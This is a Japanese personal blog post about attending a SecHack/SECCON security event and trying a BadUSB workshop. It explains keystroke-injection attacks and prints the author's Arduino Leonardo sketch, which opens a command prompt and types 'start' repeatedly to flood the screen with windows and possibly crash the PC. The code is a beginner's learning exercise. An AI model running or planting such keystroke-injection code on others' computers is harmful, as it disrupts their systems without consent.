4/15(日)に、sechackとsecconがコラボした「セチャコン」というイベントが開催されました。
場所は秋葉原駅前のAKIBA SQUARE。
受付が10:30からで、11:30からのBadUSBのコーナーに行きたかったのですが、15分前に行くとすでに席は埋まっていました... げんなりしていると、ラッキーなことに追加で数人体験させてもらえるということだったので、参加させていただきました(お持ち帰りはできませんでした)。
BadUSBに触れるのは初めての機会で、とても興奮しました(笑)
BadUSBという言葉を初めて聞いた人のために、簡単にBadUSBについて説明したいと思います。そんなことくらい知ってるよって方は、赤線まで読み飛ばしちゃって大丈夫です!
BadUSBとは、USBメモリのフォームウェアという部分を書き換えることによって、勝手にキーボード入力を行わせることができる攻撃手法のことです。
これを作るにはArduinoという開発環境が用いられることが多く、セチャコンのコーナーではArduino Leonardoが貸し出しされました。
勝手にキーボード入力されるくらいどうってことないと思っている方もいるかもしれませんが、実は非常に危険です。
基本的にOSにはショートカットという機能が搭載されています。マウスを動かしてクリックしなくても、いくつかのキーを同時に押したりすることで、楽に操作が行える場合も多いです。
一番よくつかわれている例でいうと、コピー(Ctrl+C)、ペースト(Ctrl+V)が有名でしょうか。
ここで勘のいいひとはもうお気づきかもしれませんが、プログラムの書きようによってはショートカットを駆使して様々な操作を勝手に行える可能性があるのです。
例えば、勝手にメールを送信したり、ファイルを消したり、シャットダウンさせたりすることが可能です。
コーディングの技術があればあるほど、より悪質な操作が可能になります。(自分はそこまではまだできません...)
-----------------------------------------------------------------------------------
使い方によっては超危険なBadUSBですが、簡単なキーボード入力は非常に簡単なプログラムで作れちゃいます。
ArduinoはたしかC++(間違ってたらすいません)を使って書きますが、全くC++に触ったことない僕でもしばらくいじってればある程度は使えるようになりました。(C++なだけあってCが理解できれば大体似てるかと)
ちなみに僕はこんなソースコードを書いてみました。
#include "Keyboard.h"
void setup() {
int wait=1000;
Keyboard.begin();
delay(wait);
Keyboard.press(KEY_RIGHT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(wait);
Keyboard.print("cmd\n");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(wait);
Keyboard.print("start");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(wait);
Keyboard.print("start");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(wait);
Keyboard.print("start");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(wait);
Keyboard.print("start");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(wait);
Keyboard.print("start");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(wait);
Keyboard.print("start");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
Keyboard.end();
return;
}
void loop() {
}
勝手にコマンドプロンプトを起動して、startと連続して入力させることで、何個もコマンドの画面を出すいたずらプログラムです。というかこんな糞みたいなプログラムしか書けないのが恥ずかしいです....
startの部分もvoid loop()のほうで書きたかったんですがよくわかりませんでした。勉強します。
ちなみに画面はこんな感じになります。ちなみにこれ永遠とやってるとPCが落ちることがあります(白目)
くだらなすぎて恥ずかしいですまじで。
そんなこんなでBadUSBコーナーも終わり、去年度のsechackの活動内容を見たり、ネットワークすり抜け術のコーナーをちょっと覗いたりしました。ちなみにseccon国際大会の決勝問題にアクセスしてみましたが、数分で黙ってPCを閉じました。
最後に
セキュリティ関連のイベントに参加したのは初めてだったので、とてもいい経験になりました!記念のセチャコンステッカー、PCに貼って大事にします。次にイベントに来るときはもっと勉強して知識を増やしてきます。あと延期になっちゃったCTF for Beginnersにもぜひ参加したいと思います。
今の最大の目標は、今年度sechack365に受かることです。締め切りまであと4日なので、集中して頑張ります。
では!
